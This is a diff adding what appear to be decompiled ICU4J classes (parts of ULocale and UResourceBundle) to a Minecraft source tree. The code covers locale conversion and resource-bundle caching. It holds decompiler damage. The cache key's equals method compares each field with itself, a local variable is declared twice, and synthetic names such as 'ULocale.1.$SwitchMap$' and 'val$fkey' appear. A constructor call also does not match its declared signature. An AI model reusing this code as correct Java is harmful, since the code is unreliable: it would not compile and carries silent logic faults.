+          buf.append((String)kwd.getValue());
+        }
+        
+        id = buf.toString();
+      }
+    }
+    return new ULocale(id);
+  }
+  
+  private BaseLocale base() {
+    if (baseLocale == null) {
+      String language = getLanguage();
+      if (equals(ROOT)) {
+        language = "";
+      }
+      baseLocale = BaseLocale.getInstance(language, getScript(), getCountry(), getVariant());
+    }
+    return baseLocale;
+  }
+  
+  private LocaleExtensions extensions() {
+    if (extensions == null) {
+      Iterator<String> kwitr = getKeywords();
+      if (kwitr == null) {
+        extensions = LocaleExtensions.EMPTY_EXTENSIONS;
+      } else {
+        InternalLocaleBuilder intbld = new InternalLocaleBuilder();
+        while (kwitr.hasNext()) {
+          String key = (String)kwitr.next();
+          if (key.equals("attribute"))
+          {
+            String[] uattributes = getKeywordValue(key).split("[-_]");
+            for (String uattr : uattributes) {
+              try {
+                intbld.addUnicodeLocaleAttribute(uattr);
+              }
+              catch (LocaleSyntaxException e) {}
+            }
+          }
+          else if (key.length() >= 2) {
+            String bcpKey = ldmlKeyToBCP47(key);
+            String bcpType = ldmlTypeToBCP47(key, getKeywordValue(key));
+            if ((bcpKey != null) && (bcpType != null)) {
+              try {
+                intbld.setUnicodeLocaleKeyword(bcpKey, bcpType);
+              }
+              catch (LocaleSyntaxException e) {}
+            }
+          }
+          else if ((key.length() == 1) && (key.charAt(0) != 'u')) {
+            try {
+              intbld.setExtension(key.charAt(0), getKeywordValue(key).replace("_", "-"));
+            }
+            catch (LocaleSyntaxException e) {}
+          }
+        }
+        
+
+        extensions = intbld.getLocaleExtensions();
+      }
+    }
+    return extensions;
+  }
+  
+
+
+  private static String ldmlKeyToBCP47(String key)
+  {
+    UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+
+
+    UResourceBundle keyMap = keyTypeData.get("keyMap");
+    
+
+    key = AsciiUtil.toLowerString(key);
+    String bcpKey = null;
+    try {
+      bcpKey = keyMap.getString(key);
+    }
+    catch (MissingResourceException mre) {}
+    
+
+    if (bcpKey == null) {
+      if ((key.length() == 2) && (LanguageTag.isExtensionSubtag(key))) {
+        return key;
+      }
+      return null;
+    }
+    return bcpKey;
+  }
+  
+  private static String bcp47ToLDMLKey(String bcpKey) {
+    UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+
+
+    UResourceBundle keyMap = keyTypeData.get("keyMap");
+    
+
+    bcpKey = AsciiUtil.toLowerString(bcpKey);
+    String key = null;
+    for (int i = 0; i < keyMap.getSize(); i++) {
+      UResourceBundle mapData = keyMap.get(i);
+      if (bcpKey.equals(mapData.getString())) {
+        key = mapData.getKey();
+        break;
+      }
+    }
+    if (key == null) {
+      return bcpKey;
+    }
+    return key;
+  }
+  
+  private static String ldmlTypeToBCP47(String key, String type) {
+    UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+
+
+    UResourceBundle typeMap = keyTypeData.get("typeMap");
+    
+
+    key = AsciiUtil.toLowerString(key);
+    UResourceBundle typeMapForKey = null;
+    String bcpType = null;
+    String typeResKey = key.equals("timezone") ? type.replace('/', ':') : type;
+    try {
+      typeMapForKey = typeMap.get(key);
+      bcpType = typeMapForKey.getString(typeResKey);
+    }
+    catch (MissingResourceException mre) {}
+    
+
+    if ((bcpType == null) && (typeMapForKey != null))
+    {
+      UResourceBundle typeAlias = keyTypeData.get("typeAlias");
+      try {
+        UResourceBundle typeAliasForKey = typeAlias.get(key);
+        typeResKey = typeAliasForKey.getString(typeResKey);
+        bcpType = typeMapForKey.getString(typeResKey.replace('/', ':'));
+      }
+      catch (MissingResourceException mre) {}
+    }
+    
+
+    if (bcpType == null) {
+      int typeLen = type.length();
+      if ((typeLen >= 3) && (typeLen <= 8) && (LanguageTag.isExtensionSubtag(type))) {
+        return type;
+      }
+      return null;
+    }
+    return bcpType;
+  }
+  
+  private static String bcp47ToLDMLType(String key, String bcpType) {
+    UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+
+
+    UResourceBundle typeMap = keyTypeData.get("typeMap");
+    
+
+    key = AsciiUtil.toLowerString(key);
+    bcpType = AsciiUtil.toLowerString(bcpType);
+    
+    String type = null;
+    try {
+      UResourceBundle typeMapForKey = typeMap.get(key);
+      
+
+
+
+
+
+      for (int i = 0; i < typeMapForKey.getSize(); i++) {
+        UResourceBundle mapData = typeMapForKey.get(i);
+        if (bcpType.equals(mapData.getString())) {
+          type = mapData.getKey();
+          if (!key.equals("timezone")) break;
+          type = type.replace(':', '/'); break;
+        }
+      }
+    }
+    catch (MissingResourceException mre) {}
+    
+
+
+
+    if (type == null) {
+      return bcpType;
+    }
+    return type;
+  }
+  
+
+
+  private static final class JDKLocaleHelper
+  {
+    private static boolean isJava7orNewer = false;
+    
+
+    private static Method mGetScript;
+    
+
+    private static Method mGetExtensionKeys;
+    
+    private static Method mGetExtension;
+    
+    private static Method mGetUnicodeLocaleKeys;
+    
+    private static Method mGetUnicodeLocaleAttributes;
+    
+    private static Method mGetUnicodeLocaleType;
+    
+    private static Method mForLanguageTag;
+    
+    private static Method mGetDefault;
+    
+    private static Method mSetDefault;
+    
+    private static Object eDISPLAY;
+    
+    private static Object eFORMAT;
+    
+    private static final String[][] JAVA6_MAPDATA = { { "ja_JP_JP", "ja_JP", "calendar", "japanese", "ja" }, { "no_NO_NY", "nn_NO", null, null, "nn" }, { "th_TH_TH", "th_TH", "numbers", "thai", "th" } };
+    
+
+
+
+
+    static
+    {
+      try
+      {
+        mGetScript = Locale.class.getMethod("getScript", (Class[])null);
+        mGetExtensionKeys = Locale.class.getMethod("getExtensionKeys", (Class[])null);
+        mGetExtension = Locale.class.getMethod("getExtension", new Class[] { Character.TYPE });
+        mGetUnicodeLocaleKeys = Locale.class.getMethod("getUnicodeLocaleKeys", (Class[])null);
+        mGetUnicodeLocaleAttributes = Locale.class.getMethod("getUnicodeLocaleAttributes", (Class[])null);
+        mGetUnicodeLocaleType = Locale.class.getMethod("getUnicodeLocaleType", new Class[] { String.class });
+        mForLanguageTag = Locale.class.getMethod("forLanguageTag", new Class[] { String.class });
+        
+        Class<?> cCategory = null;
+        Class<?>[] classes = Locale.class.getDeclaredClasses();
+        for (Class<?> c : classes) {
+          if (c.getName().equals("java.util.Locale$Category")) {
+            cCategory = c;
+            break;
+          }
+        }
+        if (cCategory != null)
+        {
+
+          mGetDefault = Locale.class.getDeclaredMethod("getDefault", new Class[] { cCategory });
+          mSetDefault = Locale.class.getDeclaredMethod("setDefault", new Class[] { cCategory, Locale.class });
+          
+          Method mName = cCategory.getMethod("name", (Class[])null);
+          Object[] enumConstants = cCategory.getEnumConstants();
+          for (Object e : enumConstants) {
+            String catVal = (String)mName.invoke(e, (Object[])null);
+            if (catVal.equals("DISPLAY")) {
+              eDISPLAY = e;
+            } else if (catVal.equals("FORMAT")) {
+              eFORMAT = e;
+            }
+          }
+          if ((eDISPLAY == null) || (eFORMAT != null))
+          {
+
+            isJava7orNewer = true;
+          }
+        }
+      }
+      catch (NoSuchMethodException e) {}catch (IllegalArgumentException e) {}catch (IllegalAccessException e) {}catch (InvocationTargetException e) {}catch (SecurityException e) {}
+    }
+    
+
+
+
+
+
+
+    public static boolean isJava7orNewer()
+    {
+      return isJava7orNewer;
+    }
+    
+    public static ULocale toULocale(Locale loc) {
+      return isJava7orNewer ? toULocale7(loc) : toULocale6(loc);
+    }
+    
+    public static Locale toLocale(ULocale uloc) {
+      return isJava7orNewer ? toLocale7(uloc) : toLocale6(uloc);
+    }
+    
+    private static ULocale toULocale7(Locale loc) {
+      String language = loc.getLanguage();
+      String script = "";
+      String country = loc.getCountry();
+      String variant = loc.getVariant();
+      
+      Set<String> attributes = null;
+      Map<String, String> keywords = null;
+      try
+      {
+        script = (String)mGetScript.invoke(loc, (Object[])null);
+        
+        Set<Character> extKeys = (Set)mGetExtensionKeys.invoke(loc, (Object[])null);
+        if (!extKeys.isEmpty()) {
+          for (Character extKey : extKeys) {
+            if (extKey.charValue() == 'u')
+            {
+
+
+
+              Set<String> uAttributes = (Set)mGetUnicodeLocaleAttributes.invoke(loc, (Object[])null);
+              if (!uAttributes.isEmpty()) {
+                attributes = new TreeSet();
+                for (String attr : uAttributes) {
+                  attributes.add(attr);
+                }
+              }
+              
+
+
+              Set<String> uKeys = (Set)mGetUnicodeLocaleKeys.invoke(loc, (Object[])null);
+              for (String kwKey : uKeys) {
+                String kwVal = (String)mGetUnicodeLocaleType.invoke(loc, new Object[] { kwKey });
+                if (kwVal != null) {
+                  if (kwKey.equals("va"))
+                  {
+                    variant = kwVal + "_" + variant;
+                  } else {
+                    if (keywords == null) {
+                      keywords = new TreeMap();
+                    }
+                    keywords.put(kwKey, kwVal);
+                  }
+                }
+              }
+            } else {
+              String extVal = (String)mGetExtension.invoke(loc, new Object[] { extKey });
+              if (extVal != null) {
+                if (keywords == null) {
+                  keywords = new TreeMap();
+                }
+                keywords.put(String.valueOf(extKey), extVal);
+              }
+            }
+          }
+        }
+      } catch (IllegalAccessException e) {
+        throw new RuntimeException(e);
+      } catch (InvocationTargetException e) {
+        throw new RuntimeException(e);
+      }
+      
+
+
+
+
+
+
+      if ((language.equals("no")) && (country.equals("NO")) && (variant.equals("NY"))) {
+        language = "nn";
+        variant = "";
+      }
+      
+
+      StringBuilder buf = new StringBuilder(language);
+      
+      if (script.length() > 0) {
+        buf.append('_');
+        buf.append(script);
+      }
+      
+      if (country.length() > 0) {
+        buf.append('_');
+        buf.append(country);
+      }
+      
+      if (variant.length() > 0) {
+        if (country.length() == 0) {
+          buf.append('_');
+        }
+        buf.append('_');
+        buf.append(variant);
+      }
+      
+      if (attributes != null)
+      {
+        StringBuilder attrBuf = new StringBuilder();
+        for (String attr : attributes) {
+          if (attrBuf.length() != 0) {
+            attrBuf.append('-');
+          }
+          attrBuf.append(attr);
+        }
+        if (keywords == null) {
+          keywords = new TreeMap();
+        }
+        keywords.put("attribute", attrBuf.toString());
+      }
+      boolean addSep;
+      if (keywords != null) {
+        buf.append('@');
+        addSep = false;
+        for (Map.Entry<String, String> kwEntry : keywords.entrySet()) {
+          String kwKey = (String)kwEntry.getKey();
+          String kwVal = (String)kwEntry.getValue();
+          
+          if (kwKey.length() != 1)
+          {
+            kwKey = ULocale.bcp47ToLDMLKey(kwKey);
+            
+            kwVal = ULocale.bcp47ToLDMLType(kwKey, kwVal.length() == 0 ? "yes" : kwVal);
+          }
+          
+          if (addSep) {
+            buf.append(';');
+          } else {
+            addSep = true;
+          }
+          buf.append(kwKey);
+          buf.append('=');
+          buf.append(kwVal);
+        }
+      }
+      
+      return new ULocale(ULocale.getName(buf.toString()), loc, null);
+    }
+    
+    private static ULocale toULocale6(Locale loc) {
+      ULocale uloc = null;
+      String locStr = loc.toString();
+      if (locStr.length() == 0) {
+        uloc = ULocale.ROOT;
+      } else {
+        for (int i = 0; i < JAVA6_MAPDATA.length; i++) {
+          if (JAVA6_MAPDATA[i][0].equals(locStr)) {
+            LocaleIDParser p = new LocaleIDParser(JAVA6_MAPDATA[i][1]);
+            p.setKeywordValue(JAVA6_MAPDATA[i][2], JAVA6_MAPDATA[i][3]);
+            locStr = p.getName();
+            break;
+          }
+        }
+        uloc = new ULocale(ULocale.getName(locStr), loc, null);
+      }
+      return uloc;
+    }
+    
+    private static Locale toLocale7(ULocale uloc) {
+      Locale loc = null;
+      String ulocStr = uloc.getName();
+      if ((uloc.getScript().length() > 0) || (ulocStr.contains("@")))
+      {
+
+
+
+
+
+        String tag = uloc.toLanguageTag();
+        
+
+
+
+
+
+
+
+
+
+
+
+        tag = AsciiUtil.toUpperString(tag);
+        try
+        {
+          loc = (Locale)mForLanguageTag.invoke(null, new Object[] { tag });
+        } catch (IllegalAccessException e) {
+          throw new RuntimeException(e);
+        } catch (InvocationTargetException e) {
+          throw new RuntimeException(e);
+        }
+      }
+      if (loc == null)
+      {
+
+        loc = new Locale(uloc.getLanguage(), uloc.getCountry(), uloc.getVariant());
+      }
+      return loc;
+    }
+    
+    private static Locale toLocale6(ULocale uloc) {
+      String locstr = uloc.getBaseName();
+      for (int i = 0; i < JAVA6_MAPDATA.length; i++) {
+        if ((locstr.equals(JAVA6_MAPDATA[i][1])) || (locstr.equals(JAVA6_MAPDATA[i][4]))) {
+          if (JAVA6_MAPDATA[i][2] != null) {
+            String val = uloc.getKeywordValue(JAVA6_MAPDATA[i][2]);
+            if ((val != null) && (val.equals(JAVA6_MAPDATA[i][3]))) {
+              locstr = JAVA6_MAPDATA[i][0];
+              break;
+            }
+          } else {
+            locstr = JAVA6_MAPDATA[i][0];
+            break;
+          }
+        }
+      }
+      LocaleIDParser p = new LocaleIDParser(locstr);
+      String[] names = p.getLanguageScriptCountryVariant();
+      return new Locale(names[0], names[2], names[3]);
+    }
+    
+    public static Locale getDefault(ULocale.Category category) {
+      Locale loc = Locale.getDefault();
+      if (isJava7orNewer) {
+        Object cat = null;
+        switch (ULocale.1.$SwitchMap$com$ibm$icu$util$ULocale$Category[category.ordinal()]) {
+        case 1: 
+          cat = eDISPLAY;
+          break;
+        case 2: 
+          cat = eFORMAT;
+        }
+        
+        if (cat != null) {
+          try {
+            loc = (Locale)mGetDefault.invoke(null, new Object[] { cat });
+          }
+          catch (InvocationTargetException e) {}catch (IllegalArgumentException e) {}catch (IllegalAccessException e) {}
+        }
+      }
+      
+
+
+
+
+      return loc;
+    }
+    
+    public static void setDefault(ULocale.Category category, Locale newLocale) {
+      if (isJava7orNewer) {
+        Object cat = null;
+        switch (ULocale.1.$SwitchMap$com$ibm$icu$util$ULocale$Category[category.ordinal()]) {
+        case 1: 
+          cat = eDISPLAY;
+          break;
+        case 2: 
+          cat = eFORMAT;
+        }
+        
+        if (cat != null) {
+          try {
+            mSetDefault.invoke(null, new Object[] { cat, newLocale });
+          }
+          catch (InvocationTargetException e) {}catch (IllegalArgumentException e) {}catch (IllegalAccessException e) {}
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    public static boolean isOriginalDefaultLocale(Locale loc)
+    {
+      if (isJava7orNewer) {
+        String script = "";
+        try {
+          script = (String)mGetScript.invoke(loc, (Object[])null);
+        } catch (Exception e) {
+          return false;
+        }
+        
+        return (loc.getLanguage().equals(getSystemProperty("user.language"))) && (loc.getCountry().equals(getSystemProperty("user.country"))) && (loc.getVariant().equals(getSystemProperty("user.variant"))) && (script.equals(getSystemProperty("user.script")));
+      }
+      
+
+
+      return (loc.getLanguage().equals(getSystemProperty("user.language"))) && (loc.getCountry().equals(getSystemProperty("user.country"))) && (loc.getVariant().equals(getSystemProperty("user.variant")));
+    }
+    
+
+    public static String getSystemProperty(String key)
+    {
+      String val = null;
+      String fkey = key;
+      if (System.getSecurityManager() != null) {
+        try {
+          val = (String)AccessController.doPrivileged(new PrivilegedAction() {
+            public String run() {
+              return System.getProperty(val$fkey);
+            }
+            
+          });
+        }
+        catch (AccessControlException e) {}
+      } else {
+        val = System.getProperty(fkey);
+      }
+      return val;
+    }
+    
+    private JDKLocaleHelper() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/UResourceBundle.java b/src/minecraft/com/ibm/icu/util/UResourceBundle.java
new file mode 100644
index 0000000..cf9ae8f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/UResourceBundle.java
@@ -0,0 +1,1089 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUResourceBundleReader;
+import com.ibm.icu.impl.ResourceBundleWrapper;
+import com.ibm.icu.impl.SimpleCache;
+import java.lang.ref.SoftReference;
+import java.nio.ByteBuffer;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+import java.util.Set;
+import java.util.TreeSet;
+import java.util.concurrent.ConcurrentHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UResourceBundle
+  extends ResourceBundle
+{
+  public static UResourceBundle getBundleInstance(String baseName, String localeName)
+  {
+    return getBundleInstance(baseName, localeName, ICUResourceBundle.ICU_DATA_CLASS_LOADER, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName, String localeName, ClassLoader root)
+  {
+    return getBundleInstance(baseName, localeName, root, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static UResourceBundle getBundleInstance(String baseName, String localeName, ClassLoader root, boolean disableFallback)
+  {
+    return instantiateBundle(baseName, localeName, root, disableFallback);
+  }
+  
+
+
+
+
+
+
+
+  public UResourceBundle() {}
+  
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(ULocale locale)
+  {
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    return getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale.toString(), ICUResourceBundle.ICU_DATA_CLASS_LOADER, false);
+  }
+  
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName)
+  {
+    if (baseName == null) {
+      baseName = "com/ibm/icu/impl/data/icudt51b";
+    }
+    ULocale uloc = ULocale.getDefault();
+    return getBundleInstance(baseName, uloc.toString(), ICUResourceBundle.ICU_DATA_CLASS_LOADER, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName, Locale locale)
+  {
+    if (baseName == null) {
+      baseName = "com/ibm/icu/impl/data/icudt51b";
+    }
+    ULocale uloc = locale == null ? ULocale.getDefault() : ULocale.forLocale(locale);
+    
+    return getBundleInstance(baseName, uloc.toString(), ICUResourceBundle.ICU_DATA_CLASS_LOADER, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName, ULocale locale)
+  {
+    if (baseName == null) {
+      baseName = "com/ibm/icu/impl/data/icudt51b";
+    }
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    return getBundleInstance(baseName, locale.toString(), ICUResourceBundle.ICU_DATA_CLASS_LOADER, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName, Locale locale, ClassLoader loader)
+  {
+    if (baseName == null) {
+      baseName = "com/ibm/icu/impl/data/icudt51b";
+    }
+    ULocale uloc = locale == null ? ULocale.getDefault() : ULocale.forLocale(locale);
+    return getBundleInstance(baseName, uloc.toString(), loader, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static UResourceBundle getBundleInstance(String baseName, ULocale locale, ClassLoader loader)
+  {
+    if (baseName == null) {
+      baseName = "com/ibm/icu/impl/data/icudt51b";
+    }
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    return getBundleInstance(baseName, locale.toString(), loader, false);
+  }
+  
+
+
+
+
+
+
+  public abstract ULocale getULocale();
+  
+
+
+
+
+
+
+  protected abstract String getLocaleID();
+  
+
+
+
+
+
+
+  protected abstract String getBaseName();
+  
+
+
+
+
+
+
+  protected abstract UResourceBundle getParent();
+  
+
+
+
+
+
+  public Locale getLocale()
+  {
+    return getULocale().toLocale();
+  }
+  
+
+  private static ICUCache<ResourceCacheKey, UResourceBundle> BUNDLE_CACHE = new SimpleCache();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static void resetBundleCache()
+  {
+    BUNDLE_CACHE = new SimpleCache();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected static UResourceBundle addToCache(ClassLoader cl, String fullName, ULocale defaultLocale, UResourceBundle b)
+  {
+    synchronized (cacheKey) {
+      cacheKey.setKeyValues(cl, fullName, defaultLocale);
+      UResourceBundle cachedBundle = (UResourceBundle)BUNDLE_CACHE.get(cacheKey);
+      if (cachedBundle != null) {
+        return cachedBundle;
+      }
+      BUNDLE_CACHE.put((ResourceCacheKey)cacheKey.clone(), b);
+      return b;
+    }
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected static UResourceBundle loadFromCache(ClassLoader cl, String fullName, ULocale defaultLocale)
+  {
+    synchronized (cacheKey) {
+      cacheKey.setKeyValues(cl, fullName, defaultLocale);
+      return (UResourceBundle)BUNDLE_CACHE.get(cacheKey);
+    }
+  }
+  
+
+  private static final class ResourceCacheKey
+    implements Cloneable
+  {
+    private SoftReference<ClassLoader> loaderRef;
+    
+    private String searchName;
+    
+    private ULocale defaultLocale;
+    
+    private int hashCodeCache;
+    
+
+    private ResourceCacheKey() {}
+    
+    public boolean equals(Object other)
+    {
+      if (other == null) {
+        return false;
+      }
+      if (this == other) {
+        return true;
+      }
+      try {
+        ResourceCacheKey otherEntry = (ResourceCacheKey)other;
+        
+        if (hashCodeCache != hashCodeCache) {
+          return false;
+        }
+        
+        if (!searchName.equals(searchName)) {
+          return false;
+        }
+        
+        if (defaultLocale == null) {
+          if (defaultLocale != null) {
+            return false;
+          }
+        }
+        else if (!defaultLocale.equals(defaultLocale)) {
+          return false;
+        }
+        
+
+        if (loaderRef == null) {
+          return loaderRef == null;
+        }
+        return (loaderRef != null) && (loaderRef.get() == loaderRef.get());
+      }
+      catch (NullPointerException e)
+      {
+        return false;
+      } catch (ClassCastException e) {}
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return hashCodeCache;
+    }
+    
+    public Object clone() {
+      try {
+        return super.clone();
+      }
+      catch (CloneNotSupportedException e) {
+        throw new IllegalStateException();
+      }
+    }
+    
+
+    private synchronized void setKeyValues(ClassLoader root, String searchName, ULocale defaultLocale)
+    {
+      this.searchName = searchName;
+      hashCodeCache = searchName.hashCode();
+      this.defaultLocale = defaultLocale;
+      if (defaultLocale != null) {
+        hashCodeCache ^= defaultLocale.hashCode();
+      }
+      if (root == null) {
+        loaderRef = null;
+      } else {
+        loaderRef = new SoftReference(root);
+        hashCodeCache ^= root.hashCode();
+      }
+    }
+  }
+  
+
+
+
+  private static final ResourceCacheKey cacheKey = new ResourceCacheKey(null);
+  
+  private static final int ROOT_MISSING = 0;
+  
+  private static final int ROOT_ICU = 1;
+  private static final int ROOT_JAVA = 2;
+  private static SoftReference<ConcurrentHashMap<String, Integer>> ROOT_CACHE = new SoftReference(new ConcurrentHashMap());
+  
+  private static int getRootType(String baseName, ClassLoader root)
+  {
+    ConcurrentHashMap<String, Integer> m = null;
+    
+
+    m = (ConcurrentHashMap)ROOT_CACHE.get();
+    if (m == null) {
+      synchronized (UResourceBundle.class) {
+        m = (ConcurrentHashMap)ROOT_CACHE.get();
+        if (m == null) {
+          m = new ConcurrentHashMap();
+          ROOT_CACHE = new SoftReference(m);
+        }
+      }
+    }
+    
+    Integer rootType = (Integer)m.get(baseName);
+    
+    if (rootType == null) {
+      String rootLocale = baseName.indexOf('.') == -1 ? "root" : "";
+      int rt = 0;
+      try {
+        ICUResourceBundle.getBundleInstance(baseName, rootLocale, root, true);
+        rt = 1;
+      } catch (MissingResourceException ex) {
+        try {
+          ResourceBundleWrapper.getBundleInstance(baseName, rootLocale, root, true);
+          rt = 2;
+        }
+        catch (MissingResourceException e) {}
+      }
+      
+
+      rootType = Integer.valueOf(rt);
+      m.putIfAbsent(baseName, rootType);
+    }
+    
+    return rootType.intValue();
+  }
+  
+  private static void setRootType(String baseName, int rootType) {
+    Integer rt = Integer.valueOf(rootType);
+    ConcurrentHashMap<String, Integer> m = null;
+    
+    m = (ConcurrentHashMap)ROOT_CACHE.get();
+    if (m == null) {
+      synchronized (UResourceBundle.class) {
+        m = (ConcurrentHashMap)ROOT_CACHE.get();
+        if (m == null) {
+          m = new ConcurrentHashMap();
+          ROOT_CACHE = new SoftReference(m);
+        }
+      }
+    }
+    
+    m.put(baseName, rt);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static UResourceBundle instantiateBundle(String baseName, String localeName, ClassLoader root, boolean disableFallback)
+  {
+    UResourceBundle b = null;
+    int rootType = getRootType(baseName, root);
+    
+    ULocale defaultLocale = ULocale.getDefault();
+    
+    switch (rootType)
+    {
+    case 1: 
+      if (disableFallback) {
+        String fullName = ICUResourceBundleReader.getFullName(baseName, localeName);
+        b = loadFromCache(root, fullName, defaultLocale);
+        if (b == null) {
+          b = ICUResourceBundle.getBundleInstance(baseName, localeName, root, disableFallback);
+        }
+      }
+      else {
+        b = ICUResourceBundle.getBundleInstance(baseName, localeName, root, disableFallback);
+      }
+      
+
+      return b;
+    
+    case 2: 
+      return ResourceBundleWrapper.getBundleInstance(baseName, localeName, root, disableFallback);
+    }
+    
+    try
+    {
+      b = ICUResourceBundle.getBundleInstance(baseName, localeName, root, disableFallback);
+      
+      setRootType(baseName, 1);
+    } catch (MissingResourceException ex) {
+      b = ResourceBundleWrapper.getBundleInstance(baseName, localeName, root, disableFallback);
+      
+      setRootType(baseName, 2);
+    }
+    return b;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ByteBuffer getBinary()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public String getString()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String[] getStringArray()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public byte[] getBinary(byte[] ba)
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int[] getIntVector()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getInt()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getUInt()
+  {
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+  public UResourceBundle get(String aKey)
+  {
+    UResourceBundle obj = findTopLevel(aKey);
+    if (obj == null) {
+      String fullName = ICUResourceBundleReader.getFullName(getBaseName(), getLocaleID());
+      throw new MissingResourceException("Can't find resource for bundle " + fullName + ", key " + aKey, getClass().getName(), aKey);
+    }
+    
+
+    return obj;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected UResourceBundle findTopLevel(String aKey)
+  {
+    for (UResourceBundle res = this; res != null; res = res.getParent()) {
+      UResourceBundle obj = res.handleGet(aKey, null, this);
+      if (obj != null) {
+        ((ICUResourceBundle)obj).setLoadingStatus(getLocaleID());
+        return obj;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public String getString(int index)
+  {
+    ICUResourceBundle temp = (ICUResourceBundle)get(index);
+    if (temp.getType() == 0) {
+      return temp.getString();
+    }
+    throw new UResourceTypeMismatchException("");
+  }
+  
+
+
+
+
+
+
+
+
+  public UResourceBundle get(int index)
+  {
+    UResourceBundle obj = handleGet(index, null, this);
+    if (obj == null) {
+      obj = (ICUResourceBundle)getParent();
+      if (obj != null) {
+        obj = obj.get(index);
+      }
+      if (obj == null) {
+        throw new MissingResourceException("Can't find resource for bundle " + getClass().getName() + ", key " + getKey(), getClass().getName(), getKey());
+      }
+    }
+    
+
+    ((ICUResourceBundle)obj).setLoadingStatus(getLocaleID());
+    return obj;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected UResourceBundle findTopLevel(int index)
+  {
+    for (UResourceBundle res = this; res != null; res = res.getParent()) {
+      UResourceBundle obj = res.handleGet(index, null, this);
+      if (obj != null) {
+        ((ICUResourceBundle)obj).setLoadingStatus(getLocaleID());
+        return obj;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public Enumeration<String> getKeys()
+  {
+    return Collections.enumeration(keySet());
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public Set<String> keySet()
+  {
+    if (keys == null) {
+      if (isTopLevelResource()) { TreeSet<String> newKeySet;
+        TreeSet<String> newKeySet;
+        if (parent == null) {
+          newKeySet = new TreeSet(); } else { TreeSet<String> newKeySet;
+          if ((parent instanceof UResourceBundle)) {
+            newKeySet = new TreeSet(((UResourceBundle)parent).keySet());
+          }
+          else
+          {
+            newKeySet = new TreeSet();
+            Enumeration<String> parentKeys = parent.getKeys();
+            while (parentKeys.hasMoreElements())
+              newKeySet.add(parentKeys.nextElement());
+          }
+        }
+        newKeySet.addAll(handleKeySet());
+        keys = Collections.unmodifiableSet(newKeySet);
+      } else {
+        return handleKeySet();
+      }
+    }
+    return keys;
+  }
+  
+  private Set<String> keys = null;
+  public static final int NONE = -1;
+  public static final int STRING = 0;
+  public static final int BINARY = 1;
+  
+  /**
+   * @deprecated
+   */
+  protected Set<String> handleKeySet()
+  {
+    return Collections.emptySet();
+  }
+  
+
+
+
+
+
+
+
+
+  public int getSize()
+  {
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getType()
+  {
+    return -1;
+  }
+  
+
+
+
+
+
+  public VersionInfo getVersion()
+  {
+    return null;
+  }
+  
+
+
+
+
+
+  public UResourceBundleIterator getIterator()
+  {
+    return new UResourceBundleIterator(this);
+  }
+  
+
+
+
+
+
